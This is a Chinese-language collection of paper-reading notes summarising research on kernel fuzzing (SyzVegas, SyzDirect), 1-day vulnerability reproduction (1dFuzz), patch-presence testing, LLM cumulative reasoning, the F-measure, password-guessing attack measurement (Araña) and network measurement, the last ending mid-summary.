1. 识别补丁影响区域，收集补丁影响路径；
2. 生成基于语义的补丁摘要；
3. 基于补丁摘要，进行补丁存在测试。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F05QbYA5dyBl3GlzdJsP7%2F804dfd007a43046b41a288e39d5d178.jpg?alt=media&amp;token=e3b74527-a459-461a-b35e-d6803a011ddd" alt=""><figcaption></figcaption></figure>

以如下代码为例：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FCgP1JnPuuqtU69Mu4GIp%2F1af4e15816f8424b88a29bab7e5aa89.jpg?alt=media&amp;token=1e3f471d-a61a-44b0-9a12-39c0b38cc9ed" alt=""><figcaption></figcaption></figure>

第一步目标：识别补丁打在了哪里，确认补丁前后的差别在哪里。首先收集有关与补丁相关的所有函数调用，而后借助 Anchor Block 剔除实际与补丁无关的部分，规避路径爆炸问题的同时确定**补丁影响路径**。那么 Anchor Block 是什么？又该如何产生呢？

以笔者有限的认知来看，Anchor Block 是指关键代码片段，用于记录补丁前后的差别。其产生过程是：先编译补丁前后的 kernel image，而后将代码改变的部分映射到 image 中的基本块。若存在多个 Anchor Block，选择能将 `sum(sim(an, pre), sim(an, post))` 最大化的 Anchor Block；若不存在，则将函数的退出码选作 Anchor Block。更加详细的产生过程可以参考 P7 的 Algorithm 1。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F268oYivFiBsGZVkHq8cw%2F976db191d9c35760597dc1bb0586ec9.jpg?alt=media&amp;token=81911d22-e131-4450-9d2e-c0ef2a850097" alt=""><figcaption></figcaption></figure>

第二步目标：基于语义生成补丁影响路径的摘要（借助符号执行）。这里的语义指——函数调用、内存状态和路径约束。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FllblbOaQ9HPcsWDK4Heg%2F40c253c6d897dd8de29c2e8b9083a95.jpg?alt=media&amp;token=f3f2d4de-2ce8-4899-aa89-c23ec2dc1cd5" alt=""><figcaption></figcaption></figure>

第三步目标：根据距离算法，判断是否存在特定补丁。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FbcjEp8LyuJ8mHIgnvrq1%2Fimage.png?alt=media&amp;token=3297db35-9b22-4d2f-8f3f-a3d42dde79a2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FL9jEAA5hpBjjF1DVVoyB%2Fimage.png?alt=media&amp;token=7f8f8402-e0fd-4f7f-853b-de7ed2303df3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FtHorhUj9o5zGcci22eAq%2F61fea327f3fa5d6074458ddbd03f141.jpg?alt=media&amp;token=0bb0e477-c507-43c6-82d8-e62004f68b22" alt=""><figcaption></figcaption></figure>


# SyzVegas: Beating Kernel Fuzzing Odds with Reinforcement Learning

[SyzVegas: Beating Kernel Fuzzing Odds with Reinforcement Learning](https://www.usenix.org/system/files/sec21-wang-daimeng.pdf) 是一篇 2021 年发表在 USENIX 的研究型论文（工程创新）。一作是来自 University of California, Riverside 的  Daimeng Wang，其它作者同样来自 University of California, Riverside，他们是 Zheng Zhang, Hang Zhang Zhiyun Qian, Srikanth V. Krishnamurthy, Nael Abu-Ghazaleh。

该论文的贡献：基于 Syzkaller 借助 reinforcement learning，修改 Syzkaller 中两个最关键的决策点——task selection and seed selection，提出了新 kernel fuzzer——**SyzVegas**，对比 Syzkaller，在执行效率与覆盖率方面有了一定的提升。

### 背景

1. *Kernel fuzzing is uniquely **challenging** for the following reasons: (1) modern OS kernel often has a huge code base and many dependencies across components; (2) the input to an OS kernel is via the system call interface that needs special handling; and (3) an OS kernel maintains a massive state space that a single input (i.e., test case) may not be able reproducible.*&#x20;
2. workflow overview of Syzkaller

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FOZA7c0HAkbgjxUykk3SL%2Fimage.png?alt=media&amp;token=08d8a536-9821-4e83-89bd-631e12e8c06a" alt=""><figcaption></figcaption></figure>

### **问题**

1. Syzkaller 硬编码策略无法适应动态变换的模糊测试环境与任务，同时基于作者的 observations，Syzkaller 性能方面仍存在提升的空间；                                                                                                                      &#x20;

   <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fenf3Zg8JXzIhSt9cPOdd%2Fimage.png?alt=media&amp;token=ebb5602a-b208-4072-aad0-3cb5ffa29aa6" alt="" width="375"><figcaption></figcaption></figure>
2. 作者将问题 1 转化成如下问题：确定 **SyzVegas** 的目标在于提升 coverage 的前提下，（1）选择最有价值的模糊测试任务；（2）选择最有效的突变种子。

### **设计与实现**

对于上述**问题 2**，既然要求选出最有价值的任务和种子，则需要一个标准进行衡量。如何建构这个标准？

基于 observations，作者发现“正确”的任务和种子是随着时间的推移而动态变化的，因此需要一种自动化的方式来识别给定时间最有价值的任务，并且适当地调用与该任务相关的最佳种子。

> To identify these, a reinforcement-learning scheme is a natural fit, wherein a model to maximize the **coverage rewards** relative to the **time cost of execution** is applicable.

在众多的 reinforcement-learning 中，Multi-Armed Bandit (MAB) 是最适合的，因为 MAB 的设计目标是在面对不确定性的情况下，用局部最优去追求全局最优，最大化总体累积奖励。加上 Syzkaller 本质上是对未知空间进行搜索，reward 分布是未知的。因此在 reward 未知的前置条件下，选用 MAB 能在 exploration 与 exploitation 之间做到很好的平衡。

最终，作者决定在 **SyzVegas** 中通过 Adversarial MAB（especially, Exp3），去解决[**问题 2**](#wen-ti)。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FaAOXoMh1nNhwpOmLz8rD%2Fimage.png?alt=media&amp;token=2a9c95af-54e8-4513-a2a6-75c2297e1402" alt=""><figcaption><p>High-level idea/design of SyzVegas</p></figcaption></figure>

因为  goal 是在最短的时间内追求最高的覆盖率，而 reward 作为一种导向指标，因此 reward 的基本定义是：变异程序的覆盖率与原始种子程序的覆盖率之间的差值除以变异任务的时间成本。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FmWGXXUWUf3n79gBmuDJa%2Fimage.png?alt=media&amp;token=1ddf040d-1fe4-47f2-b537-2d4162c28ba1" alt=""><figcaption><p>Task Selection</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FyPBOZqdCIqdB9jNwBVcN%2Fimage.png?alt=media&amp;token=ecbb01e0-a4c2-4114-a685-82f78c1167a6" alt=""><figcaption><p>Seed Selection</p></figcaption></figure>

**SyzVegas** 的实现效果与更多其它细节，读者可自行去原文查阅。

目前笔者对顶级研究者的研究思路总结如下：

phenomenon

→ observation & intuition

→ strategy(scenario taken into account) & implementation

→ evaluation & rethink

→ improverment?


# 1dFuzz: Reproduce 1-Day Vulnerabilities with Directed Differential Fuzzing

这是一篇 2023 年发表在 CCS 上的[研究型论文](https://dl.acm.org/doi/abs/10.1145/3597926.3598102)，第一作者是来自清华大学的杨松涛，通讯作者是来自清华大学的张超老师。

现有研究表明大多数用户没有及时升级和修补程序， 容易受到 1day vulnerabilities 的影响，并且漏洞时间窗口的持续时间非常长（例如几个月甚至几年），使 1day vulnerabilities 成为巨大的潜在威胁。该论文提出一种解决方案——**1dFuzz** ，实现对 **1day vulnerabilities 的识别、定位与利用**。

### 背景与前人工作

1day 存在的根本原因是**从漏洞发布到补丁应用的时间差。**&#x31;day 相较于 0day 的特殊之处在于每个人都能通过漏洞发布得知漏洞的存在，这使得 1day 的利用比 0day 更加容易。为了对抗 1day 带来的威胁，现有两种解决方案：

1. 应用 patch；
2. 在软件供应链中，从系统或网络层面扫描 1day。

第一种方案依赖于用户的自觉，已被证明是不可靠的方案。若要采用第二种方案，自然引出以下两个子问题：

1. *Where are the patches in the patched binary?*
2. *how to generate PoCs to trigger patches?*

解决子问题 1 的基本思路是差分测试。差分测试可以分为三类：（1）static binary diffing；（2）dynamic binary diffing；（3）AI-based binary diffing。差分测试面临的困难在于——编译策略、代码更新等一系列操作都会造成 binary 的差异，该如何剔除这些噪声，准确识别并定位 patch？

解决子问题 2 的基本思路有两种：（1）symbolic execution；（2）directed fuzzing。

### 解决方案

将 “**识别、定位并利用 1day vulnerabilities**” 拆解成以上两个子问题后，以下考虑逐步解决这两个子问题。

#### 解决子问题 1

现存 AI 无法识别细粒度的 patch，故解决子问题 1 时不考&#x8651;*（3）AI-based binary diffing*。

为了探究如何定位并识别 patch 的问题，作者研究了 1031个 patches 后指出，patch 独特且常见的特征是 **trailing call sequences (TCS)**，其定义与分类如下：

> Definition 1. Trailing Call Sequence (TCS). Given a program P and an input I, we denote the last N function calls before program P exits as the trailing call sequence TCS(P,I,N).

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FDF4lelwWhppDx8ptnaij%2Fimage.png?alt=media&amp;token=2287a418-83d2-42f1-981c-d1bae34db1b0" alt=""><figcaption></figcaption></figure>

基于 TCS，可以实现对 patch 的识别与定位，从而解决子问题 1。具体实现过程：通过静态分析，构建 CG & CFG，做函数对齐去除噪声。对于每对对齐的函数，通过遍历 CG & CFG 的方式，获得两组被调用函数序列，比较这两组序列并检查它们是否不同。 如果一个集合具有另一集合中不存在的被调用函数序列，将把对齐的函数标记为 candidate patched function，这将通过定向模糊测试进一步探索。以上描述的过程对应下图红色方框部分。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FSOritCfPpdoCROQuth3a%2Fimage.png?alt=media&amp;token=d2dda6ce-539d-4fd4-945f-252b626b3609" alt=""><figcaption></figcaption></figure>

#### 解决子问题 2

symbolic execution 无法解决大型 binary 的路径爆炸问题，故解决子问题 2 时不考&#x8651;*（1）symbolic execution*。

为了探究如何触发 patch 的问题，首先提出一种基于 TCS 的定向 metric：基本思路是衡量 distance(source function, target function)。函数之间的 distance 定义为 1 + 1 / (2+CN) （CN 是从 caller → callee，call sites 的数量）；找到 target function 的 dominator function（前置必经函数），将 distance(dominator function, target function) 定义为测试用例的 distance。

完成了对 metric 的定义，下一步采用 **directed fuzzing** 方案尝试触发 patch，达到解决子问题 2 的目的。在 directed fuzzing 中，距离越小的 seed 优先级越高，但为了避免陷入局部最优解，1dFuzz 也会以小概率随机挑选一些种子优先测试。测试借助 1dSan 来捕获 PoCs。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FRJLOBUbaI4c61HVM2eik%2Fimage.png?alt=media&amp;token=561b8e83-e589-40e9-8d7b-f86a47a1e216" alt=""><figcaption></figcaption></figure>

1dFuzz 详细的实现流程请参考下图：

&#x20;

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FF5GXgsVdZYiqdbophFhA%2Fimage.png?alt=media&amp;token=0a08dfb7-f375-4165-8a39-5bfd96c97be5" alt=""><figcaption></figcaption></figure>

部分实验效果如下：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FfV9XTWuW8whe4hb7fyRx%2Fimage.png?alt=media&amp;token=5e8754cb-93b4-4563-9751-9b6046512f89" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fp2MXftSpWQLutJpEE5lw%2Fimage.png?alt=media&amp;token=6e7cf71d-1d87-425f-ad2e-8ff5b9d7e229" alt=""><figcaption></figcaption></figure>

基于 TCS 设计的 1dFuzz 误报率较高，这是一个 limitation。此外作者将对测试场景进行扩展（非 C / C++ programs）以及探索补丁新特征留给 future work 去解决。


# SyzDirect: Directed Greybox Fuzzing for Linux Kernel

这是一篇 2023 年发表在 CCS 上的[研究型论文](https://dl.acm.org/doi/10.1145/3576915.3623146)，第一作者是来自复旦大学的 Xin Tan，共同一作和通讯作者是来自复旦大学的 [Yuan Zhang](https://yuanxzhang.github.io/#) 老师。作者提供了 [prototype](https://github.com/seclab-fudan/SyzDirect)（需等待作者 push）。

现有 DGF 主要关注 user application，无法很好地适应 OS Kernel 此类测试对象。 目前最先进的  OS Kernel DGF 是 GREBE。 然而，GREBE 是一种针对特定任务量身定制的方法，而不是通用的 DGF 解决方案，并且 GREBE 需要 PoC 作为输入，这在典型的 DGF 场景中是不现实的。因此，该论文提出一种解决方案——**SyzDirect**，第一个针对 Linux Kernel 的通用 DGF 解决方案。

### 背景与前人工作

现有的 DGF 主要采用两种快速接近目标位置的策略：**距离引导探索**和**无效输入剪枝**，作者决定将这两种策略保留以提高效率。

此外，由于测试对象为 OS Kernel，Kernel 的特性自然是值得注意的。Kernel 与上层软件的交互接口为 syscall。syscall 一般具有 3\~5 个参数，每个参数往往是复杂的结构体。syscall 之间存在依赖关系，这说明 syscall 的调用序列也会影响程序的状态。 如果认为 user application 接受的输入是随机的字符流，是一种一维的输入，那么 OS kernel 接受的输入 syscall 可以认为是一种二维的输入。这意味着 Kernel Fuzzing 面临着更大的状态空间等待搜索，那么如何用有限的算力去探索一个巨大的状态空间，变成一个亟待解决的难题。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FWri5yd0Nu068mqbUQMEH%2Fimage.png?alt=media&amp;token=4549754f-5f30-4707-9167-aa0634e322e6" alt=""><figcaption><p>syscall</p></figcaption></figure>

综上，Kernel Fuzzing 遇到的 challenge 主要有以下两个：

1. 与采用固定入口点的 user application 不同，OS Kernel 实现了数百个系统调用（syscall）作为与 Kernel  交互的主要接口；
2. 除了 syscall 之外，准备所需的 syscall 参数以满足目标执行路径的约束也很重要。 否则，DGF 很容易陷入无效的探索。

进一步精确定义 Challenge：**Entry Point & Argument Preparation。**

要做的工作：解决 **Entry Point & Argument Preparation**，使程序进入到特定的状态，达到 reproduce 与 patch testing 的目标。

### 解决方案

#### 解决 Entry Point

作者通过前期的调研发现，由于 Linux Kernel 中大量使用间接调用，应用现有的控制流分析技术来识别入口系统调用会引入很多误报，因此不能仅依赖于控制流分析。作者仔细思考了 Linux Kernel 的本质，认为 Linux Kernel 是一个资源管理器，其将底层设备抽象为文件、套接字、设备等。syscall 是对资源进行操作（创建、更新、回收等）的接口，而内核函数则提供操作的实际实现。那么是否可以尝试通过内核函数来刻画 syscall 呢？这就引入了作者的 key insight：

> We can match kernel functions with syscalls based on what resources they operate on and how they operate on the resource.

基于此 key insight，作者对 operation 和 resouce 进行建模，从而利用内核函数完成了对 syscall 的刻画。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F0NaUf9g1eSeddvFDSeBC%2Fimage.png?alt=media&amp;token=b49877be-da21-4c77-b60d-0a953e8e26c9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FjB6cgGTDbFOOHnmIbITl%2Fimage.png?alt=media&amp;token=b510155b-27c4-4067-99a3-95953b2f6576" alt="" width="563"><figcaption></figcaption></figure>

此外，作者定义了 anchor func 来辅助定义 Entry Point。定义 Entry Point 流程如下：

1. 接受给定目标代码位置；
2. 使用基于类型的间接调用分析，构造 CFG，并识别可以达到目标的原始系统调用；
3. 利用 CFG 和内核函数建模，将目标函数与系统调用变体进行匹配；
4. 将可达的原始系统调用和匹配的系统调用变体的交集，作为目标的入口系统调用位置，修剪不可行的分析结果。

以 Fig.1 为例，阐述以上流程。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FroSHOMQYzasgMqHX1S5o%2Fimage.png?alt=media&amp;token=a532c821-77f9-4da9-8014-27602efd16a8" alt="" width="468"><figcaption><p>Fig.1</p></figcaption></figure>

调用链：rds\_rdma\_extra\_size → rds\_sendmsg → rds\_proto\_ops → RDS socket → The creation of RDS socket → trace into rds\_create and obtain the assignment of rds\_proto\_ops → rds\_sendmsg → SOCK\_SEQPACKET → the anchor function rds\_sendmsg requires a AF\_RDS SOCK\_SEQPACKET resource。

#### 解决 Argument **Preparation**

为了解决 Argument Preparation，需要开展 Syscall Dependency Inference 和 Syscall Argument Refinement 两部分工作。前者主要参考了 [Healer](https://dl.acm.org/doi/10.1145/3477132.3483547) 提出的算法，后者主要借助了 Syzkaller 中的 Syzlang，实现了对不可达路径的 prune（即删去下图画红线的部分）。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F40M6QIM6XuYyWBj18e5U%2Fimage.png?alt=media&amp;token=ad9128eb-8b74-44d4-8e77-7f04297e7e67" alt=""><figcaption></figcaption></figure>

解决 Entry Point 和 Argument Preparation 后，作者将得到的结果称为 **template**。利用 template 去指导 mutation，极大提高了 reproduce 和 patch testing 的效率。SyzDirect 采用了基于距离的探索，距离越短，seed 优先级越高，seed 得到的能量也越多。SyzDirect 实现流程可参考下图：

&#x20;

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FMV9zlFKVCI9V1AiWm4fl%2Fimage.png?alt=media&amp;token=b0f95829-edc1-4a08-a10c-1c16bcae68b8" alt=""><figcaption></figcaption></figure>

与 Syzkaller 和 SyzGo 对比的部分实验效果如下：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FevnC0mtJHZgYFW9VoRdo%2Fimage.png?alt=media&amp;token=00073dea-9d5d-45fa-9768-cfcc8790d042" alt=""><figcaption></figcaption></figure>

SyzDirect 仍具有一些局限性：

1. 静态分析不执行对参数条件等相关系统调用的深入分析；
2. 无法生成满足触发错误的严格约束的参数；
3. 生成对象参数（例如文件系统映像）仍然非常具有挑战性。


# Others

Summary of papers except fuzzing:smile:


# Cumulative Reasoning With Language Model

这是一篇 2023 年发表在 arXiv 上的[论文](https://arxiv.org/abs/2308.04371)，领衔作者为**姚期智**。该论文提出了一种 LLM 解决复杂问题的方法——模仿人类思考过程，将复杂问题递归解决。文中该将方法命名为 Cumulative Reasoning(CR)。

该论文指出现存 LLM 的问题在于忽略了对人体第二认知系统的模仿，导致推理效果不佳。同时指出 CR 相较于现有 CoT / ToT 方法的优势在于其数据结构类型为 DAG，具有更高的自由度，面对复杂问题具有更强的可扩展性。

CR 主要部署了 proposer、verifier 和 reporter 三个 LLM，通过三个 LLM 的协同合作，实现对复杂问题的解决。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FKSs045xoqr2u9RaXOBfX%2F9749f00d54701c2ccfaaeb5fc260e82.jpg?alt=media&amp;token=82858177-6333-4e1d-b932-65db8123d81b" alt=""><figcaption><p>流程图</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FGvFPFgr004vaiHPjg5iK%2F3edc7d266353fdd26acb2f0391905b5.jpg?alt=media&amp;token=aa227d8d-a058-4c89-93fe-164254dde7cb" alt=""><figcaption><p>部分实验效果</p></figcaption></figure>

ps：顶级论文确实不一样，观点鲜明，论述言简意赅，实验效果显著（开始实验效果不好，直接找数据集的问题，确实硬核🤣），这是笔者目前为止阅读体验最佳的论文。


# A Review of the F-Measure: Its History, Properties, Criticism, and Alternatives

[A Review of the F-Measure: Its History, Properties, Criticism, and Alternatives](https://dl.acm.org/doi/full/10.1145/3606367) 总结：

* A Review of the F-Measure: Its History, Properties, Criticism, and Alternatives 是一篇 2023 年发表在 ACM 的综述。第一作者是来自 The Australian National University, Australia 的  Peter Christen，第二作者与第三作者分别是来自 Imperial College London, UK 的 David J. Hand 与 The Australian National University, Australia 的 Nishadi Kirielle。
* 该综述介绍了 F-measure —— 在分类领域衡量分类性能的一种方法。该综述总结了 F-measure 的历史、属性，并讨论了对 F-measure 的批评，提供 F-measure 的替代方案，以及如何有效使用它的建议（方便起见，该综述仅讨论了 binary classification 的情况）。
* 背景：创建分类方法的核心挑战是评估分类方法的性能。分类方法可以分成 problem-based 和 accuracy-based 两类，F-measure 被用于衡量 accuracy-based 分类方法的性能。
* 机制与适用场景： F-measure 结合召回率和精确率，产生一个数字，通过该数字可以评估和比较分类方法。仅当研究人员在给定问题下对负类（通常占大多数）根本不感兴趣时，F-measure 才是合适的分类方法的性能测量工具。
* 历史：&#x20;

  * F-measure 概念的提出可以追溯到 Van Rijsbergen 1979 年出版的 Information Retrieval，其被用于评估搜索引擎检索到的排序文档的质量。召回率 R、精度 P 与检索效率 E 的定义如下：

    > — Precision, P, is the fraction of retrieved documents that are relevant.&#x20;
    >
    > — Recall, R, is the fraction of relevant documents that are retrieved.
    >
    > ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FkXUdmQMcdTm497IRR20s%2Fimage.png?alt=media\&token=324205fd-09f3-4a95-9f47-b5677703db14)

  * F-measure 被广泛应用于信息提取、文本分类等多个计算机领域。

  * 根据 google scholar 的检索结果显示，1980-2020年 对 F-measure 的检索数量总体上呈上升趋势。

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FQvFULVrVJWNW4fiOqes5%2Fimage.png?alt=media&amp;token=80bbbb0f-4b09-40a3-88f4-901374206fde" alt=""><figcaption></figcaption></figure>
* 属性：该综述讨论的 F-measure 机制假定为当 score(x) > thresholed 时，x 被划分入 class 1，否则被划分入 class 0。召回率 R、精度 P 与检索效率 E 的定义如下：

  > — Recall R = TP/(TP + FN),
  >
  > &#x20;— Precision P = TP/(TP + FP).
  >
  > ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F6Fb2Oit0LQRa4DA5aTZU%2Fimage.png?alt=media\&token=bf30d00f-8aee-4a6e-a2c2-bd6e1b0bedcb)
* 对 F-measure 的批评：
  * 忽略了 TN；
  * 使用不同的 P 与 R 也有可能得到相同的 F-measure score；
  * P 与 R 受到 threshold 的影响是不对称的；
  * 这是一个有用的数字总结，但它不能代表正在评估的分类方法的任何客观特征。
* F-measure 的替代方法与使用建议：
  * 仅当研究人员在给定问题下对负类（通常占大多数）根本不感兴趣时，才考虑 F-measure；
  * 评估分类方法时，不仅要报告 F-measure，而且还要报告召回率和精度；
  * 如果偏向可解释的测量，可使用 F\*-measure；
  * 如果想明确赋予精确度和召回率相应的权重，则可以分别使用方程 (2) 或 (4) 中的一般加权 Fβ 或 Fα 版本；
  * 如果无法指定特定的分类阈值，建议使用 H-measure。
* 评估：该综述文笔优美，论证充分。美中不足的是，4.1、4.3 section 与 Appendix A 的论述高度重叠，并且在 A.2 Modifying the F-Measure 一节中，讨论 w 的取值时，没有给出有科学价值的判断，只传递了“笼统取值 w=1/2 即可”的信息。

附：关于课堂上“一刀切”算法的 P-R curve 绘制

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fv4MJg4lh0ITkSXJ1o6am%2FP-R_curve.jpg?alt=media&amp;token=e7fe265f-bf62-48b2-b351-7086ae157659" alt=""><figcaption></figcaption></figure>


# Araña: Discovering and Characterizing Password Guessing Attacks in Practice

[Araña: Discovering and Characterizing Password Guessing Attacks in Practice ](https://www.usenix.org/system/files/sec23fall-prepub-22-islam.pdf)总结：

* Araña: Discovering and Characterizing Password Guessing Attacks in Practice 是一篇 2023 年发表在 USENIX 的研究型测量类论文。共同一作是来自 University of Wisconsin–Madison 的  Mazharul Islam 与 Cornell Tech 的 Marina Sanusi Bohuk，其它作者为来自 University of Wisconsin–Madison 的 Paul Chung、Rahul Chatterjee 以及来自 Cornell Tech 的 Thomas Ristenpart。

* 该论文研究的领域是发现并识别——Remote password guessing attacks。通过研究，尝试将 attacks 分类提取特征，为安全防护提供思路。

* Problem
  1. 现存数据集中没有任何关于此类攻击的基本事实；
  2. 以往的工作只单独标记向登录服务发送大量请求的 IP 地址，这样的做法 miss many attacks。

* Key Findings
  * 设计了一个名为 Araña 的分析框架，发现并描述了针对两所大学的 29 个攻击集群，确定了这两所大学的身份验证系统受到的攻击的关键特征和模式，并讨论了身份验证系统应如何应对此类攻击。

* Methodology

  * 首先通过 Gossamer 收集登录日志，以如下格式提取信息；

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fwt332NLnKbzCl18esMT7%2Fimage.png?alt=media&amp;token=29a6c173-b8dc-415d-9bc1-825ebeee0be2" alt=""><figcaption></figcaption></figure>

  * 基于“恶意登录只占少数、恶意登录大多数情况下会失败、恶意登录是通过脚本控制且 ip 来自于 proxy server”的三点假设，以 **NR** 与 **FF** 为度量，根据实验事实，选取 thresholds 过滤 benign behavior，将剩余的 malicious L sets 作为下一步的研究对象；

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FU44M1uWUAnpvQEcxgBD0%2Fimage.png?alt=media&amp;token=44384b3f-9a6d-4f73-b3c0-09cb01b8c2f4" alt=""><figcaption></figcaption></figure>

  * 选取 nominal features IP, ISP, UA, and DATE ，设计 normalized difference，denoted as ND(x,y)=|x-y|/(x+y) 作为 clustering 的依据。当两个 cluster 的距离小于通过 knee locator method 选出的 threshold，便将这两个 cluster 归为一类；

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FdRQ8oeBotKlkJEUkZmZ0%2Fimage.png?alt=media&amp;token=9d5b9017-87dd-4979-a1f3-2d277ec4087d" alt=""><figcaption></figcaption></figure>

  * 通过发起攻击的时空统计特征，将攻击分成 29 类。再通过“Type of username password pairs”和“Delivery of requests”实现对 attack campaigns 更高程度的抽象。

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fg9lgUAxdiXL7rJoV1Xcg%2Fimage.png?alt=media&amp;token=8faa3a08-131a-4671-af8f-8d9fdde383c0" alt=""><figcaption></figcaption></figure>

* Suggestions

  * 针对此类攻击，并没有太好的解决办法，因此作者只泛泛地描述了如下的防御策略：

  > *“For example, locking user accounts due to a small number of incorrect attempts rarely translates to higher security, whereas discouraging users from reusing passwords from other websites and using breach alerting services can be very effective. Proactive breach alerting \[27] using services such as HIBP \[22] would be very helpful in combating credential stuffing attack”*

* 该论文实事求是，不夸大研究价值，写作上严丝合缝，实验部分与 Intro 部分前后呼应。


# ChameleMon: Shifting Measurement Attention as Network State Changes

[ChameleMon: Shifting Measurement Attention as Network State Changes](https://dl.acm.org/doi/10.1145/3603269.3604850) 是一篇 2023 年发表在 ACM 的研究型论文。共同一作是来自 National Key Laboratory for Multimedia Information Processing, School of Computer Science, Peking University 的 **Kaicheng Yang，Yuhan Wu 和 Ruijie Miao**，通讯作者是来自同样单位的 Tong Yang。ChameleMon 提供了 [prototype](https://github.com/ChameleMoncode/ChameleMon)。

### 背景与前人工作

Network measurement 的目标是支持更多任务并以更少的内存实现更高的准确性。

> *There are mainly two kinds of flow-level measurement tasks in Network measurement : **1) packet accumulation tasks and 2) packet loss tasks.***&#x20;

